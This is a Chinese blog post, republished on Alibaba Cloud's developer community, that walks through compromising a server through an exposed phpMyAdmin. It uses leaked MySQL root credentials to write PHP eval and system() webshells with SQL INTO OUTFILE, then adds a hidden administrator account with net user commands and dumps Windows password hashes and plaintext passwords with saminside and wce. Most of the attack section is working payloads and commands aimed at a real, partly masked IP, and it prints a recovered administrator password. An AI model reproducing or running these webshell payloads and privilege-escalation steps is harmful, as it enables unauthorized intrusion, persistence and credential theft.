本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《
Simeon
Phpmyadmin
是一款著名的
mysql
在线管理系统,通过提供的
mysql
数据库用户账号和密码对所管理的数据库实施操作。在渗透过程中,一旦获取其
mysql
账号和对应的密码,轻者获取其账号所管理数据库,重者可以配合其它漏洞获取
webshell
权限和系统权限。
Root
账号及口令可以通过暴力破解,源代码泄露等途径获取,本文主要就其
root
账号获取以及
phpmyadmin
的利用、如何导出
webshell
等进行探讨。
Mysql root
账号及密码在
phpmyadmin
中的利用思路主要有以下几个方面:
(
1
)获取所有数据库中敏感表中的内容。例如涉及系统配置的表,涉及
CMS
管理的各种管理员表以及用户账号的表。通过这些表获取管理员账号和密码,各种配置信息。
(
2
)获取网站的真实物理路径。网站的真实物理路径主要用来导出
webshell
,其方法主要有程序报错、
phpinfo
函数、程序配置表等。
(
3
)通过查询语句直接将一句话后门导入到网站目录或者
phpmyadmin
所在目录。
(
4
)获取
webshell
后,如果是
windows
系统则可以尝试进行提权。
(
5
)有些网站可能前期被渗透过,网站可能有
webshell
,特别是一句话后门,如果有后门则可以通过一句话后门暴力破解获取。
(
6
)无法获取网站的真实路径情况下,则意味着无法直接导出一句话
webshell
,可以通过
CMS
系统管理账号登录系统后,寻找漏洞来突破,例如
dedecms
则可以通过破解管理员账号后直接上传文件来获取
webshell
。
(
7
)如果目标不仅仅是一个网站,则可以通过分析获取的密码信息对相邻或者已知目标系统进行渗透利用,例如扫描
SSH
口令、
Mysql
口令等。
(
8
)很多提供
phpmyadmin
的网站往往会存在目录泄露和代码泄露等漏洞,通过泄露的代码来获取数据库口令,审计泄露代码获取漏洞并利用。
(
9
)
phpmyadmin
某些版本存在远程执行以及包含等漏洞,可以通过这些漏洞直接获取
webshell
。
下面是一个实际利用的实例。
1.
对
IP
所在端口进行全端口扫描
在
Nmap
中输入
IP
地址,选择“
Intense scan,all Tcp port
”,扫描结果显示该
IP
开放了
135
、
1026
、
3306
、
3389
、
80
等端口,详细端口开放情况如图
1
所示,在实际渗透过程中可以在浏览器中对逐个端口进行一一访问,当然一些比较明显的端口就不用测试了。有些服务器为了提供多个服务,有时候会开放多个端口,端口越多意味着可以利用的漏洞也就越多。
图
1
端口开放情况
2.
对
IP
地址进行域名反查
将该
IP
在域名反查网站中进行查询,如图
2
所示,显示该
IP
存在
3
个网站。
图
2
域名反查
3.
对网站
IP
进行访问
在浏览器中直接输入该
IP
进行访问,发下该
IP
下存在
phpmyadmin
目录、源代码、数据库备份文件等,如图
3
所示。其中可下载文件列表:
http://182.xx.xxx.16/mxsy_newzs.sql
http://182.xx.xxx.16/szcmsw.sql
http://182.xx.xxx.16/szcmsw11.sql
http://182.xx.xxx.16/hs.zip
http://182.xx.xxx.16/Z-BlogPHP_1_4_Deeplue_150101.zip
图
3
服务器所在
IP
存在目录泄露等漏洞
4.
获取数据库口令
分别下载网站泄露的压缩文件和数据库文件,下载文件后将压缩文件进行解压,然后寻找数据库配置文件。解压
hs.zip
后,在其
data
目录下的
common.inc.php
文件中获取了其数据库配置,如图
4
所示,但很明显该密码不是真正的数据库密码,应该是某一个
cms
的源代码程序包。继续对每一个泄露的目录进行访问,发现
szcms1
目录下还存
rar
文件,
http://182.xx.xxx.16/szcms1/szcms.rar
和
http://182.xx.xxx.16/szcms1/szcms1.rar
如图
5
所示。将其下载后进行解压缩,成功找到数据库配置文件。
图
4
获取数据库配置文件内容
图
5
再次发现泄露源代码压缩文件
5.
登录
phpmyadmin
使用在前面
szcms1.rar
中获取的
root
账号密码进行登录,如图
6
所示成功登录,可以看到该
mysql
数据库中共有
7
个有用的数据库。可以选择数据库,然后选择“导出”,将指定数据库导出到本地(传说中的脱裤,尽量别干!)。
图
6
登录
phpmyadmin
6.
导出一句话后门到服务器
目前导出一句话后门的方法有以下几种:
(1)
创建表方式
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOTNULL );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
上面代码是在mysql数据库中创建darkmoon
表
,
然后加入一个名字为
darkmoon1
的字段
,
并在
darkmoon1
的字段中插入一句话代码
,
然后从
darkmoon1
字段里面导出一句话到网站的真实路径
“C:/WWW/szcms1/szcms/Public/”,
最后就是删除
darkmoon
这个表
。
注意:在使用以上代码时必须选择mysql数据库,并在phpMyAdmin中选择SQL,然后执行以上代码即可。需要修改的地方是网站的真实路径和文件名称“C:/WWW/szcms1/szcms/Public/ exehack.php”
(2)直接导出一句话后门文件
select '<?php@eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php'
如果显示结果类似“您的 SQL 语句已成功运行 ( 查询花费 0.0006 秒 )”表明后门文件生成成功。
(3)直接执行命令权限的shell
select '<?php echo\'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTOOUTFILE 'd:/www/cmd.php'
该方法导出成功后可以直接执行
DOS
命令
,
使用方法
:
www.xxx.com/cmd.php?cmd=(cmd=
后面直接执行
dos
命令
)
。
在本例中执行导出脚本语句后,网站给挂了,访问不了服务器这比较郁闷,尝试通过
mysql
数据库客户端连接工具“
Navicat for MySQL
”,新建一个连接,将
ip
地址等信息全部输入“
Navicat for MySQL
”中,成功连接,如图
7
说是。运气真好!
图
7
使用
Navicat forMySQL
连接
mysql
数据库
通过访问
http://182.xx.xxx.16/szcms1/szcms/Public/Home/images/micro_r4_c2.png
来获取网站的真实物理路径
C:\WWW\szcms1\szcms\Tp\
,如图
8
所示。
图
8
获取真实路径
然后在
mysql
数据库中分别执行:
CREATE TABLE`mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
INSERT INTO`mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php@eval($_POST[pass]);?>');
SELECT`darkmoon1` FROM `darkmoon` INTO OUTFILE 'C:/WWW/szcms1/szcms/Public/exehack.php';
DROP TABLE IFEXISTS `darkmoon`;
对导出的
webshell
在网站进行访问测试,如图
9
所示,如果没有显示错误,则表示可以运行,在中国菜刀一句话后门管理中添加该地址直接获取
webshell
,如图
10
所示。
图
9
通过目录泄露漏洞查看文件是否导出成功
图
10
获取
webshell
9.
服务器提权
(
1
)
wce
直接获取明文密码失败
通过中国菜刀队远程终端命令,直接在其中执行命令,执行
whoami
命令显示为系统权限,上传
wce64.exe
并执行“
wce64 -w
”获取当前登录明文密码,如图
11
所示,结果未能获取密码,直接获取明文密码失败。
图
11
执行命令
(
2
)直接添加管理员
在前面的端口扫描中显示该服务器开启了
3389
端口,既然
webshell
可以执行命令,直接执行“
netuser temp temp2005 /add
”和“
net localgroup administrators temp /add
”命令添加一个管理员用户
temp
,密码为
temp2005
,如图
12
所示成功添加
temp
用户到管理员组中。
图
12
添加
temp
用户到管理员组
(
3
)登录
3389
在本地打开
mstsc.exe
直接输入用户名和密码进行登录,如图
13
所示成功登录该服务器。
图
13
成功登录该服务器
(
4
)获取管理员密码
hash
和明文
登录服务器后,通过浏览器下载一个
saminside
程序,如图
14
所示,直接获取系统的
hash
值。将该哈希值导出到本地,通过
ophcrack
程序进行破解。
图
14
获取系统
hash
值
然后再次上传一个
wce64
修改版本,免输入一键获取密码,如图
15
所示,成功获取
adminstrator
的密码“
123321abc*
”。
图
15
获取系统管理员密码
11.
总结与讨论
系统一个小小的失误,再加上一些偶然的因素,就导致一个系统被渗透,并获取了服务器权限,
windows
下
apache+mysql+php
架构如果权限设置不当,绝大部分都是
system
权限,在获取
webshell
的情况下
99%
都可以获取
system
权限。在本文中对网站开放
phpmyadmin
的情况下获取
webshell
的思路、导出
webshell
的方法等进行探讨。
本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1928415